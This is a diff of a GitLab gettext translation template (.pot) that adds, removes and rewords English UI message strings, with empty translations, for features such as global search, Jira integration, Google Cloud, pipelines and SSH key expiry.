@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
